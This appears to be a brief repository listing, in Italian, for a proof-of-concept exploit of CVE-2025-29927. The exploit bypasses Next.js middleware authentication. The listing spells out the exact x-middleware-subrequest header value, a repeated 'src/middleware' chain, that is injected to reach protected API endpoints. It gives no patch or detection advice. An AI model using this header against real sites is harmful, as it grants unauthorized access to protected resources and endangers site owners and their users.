0xcucumbersalad/cve-2025-29927Proof-of-concept exploit per CVE-2025-29927: bypassa l'autenticazione middleware di Next.js iniettando un header x-middleware-subrequest creato ad hoc per accedere a endpoint API protetti.
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware come header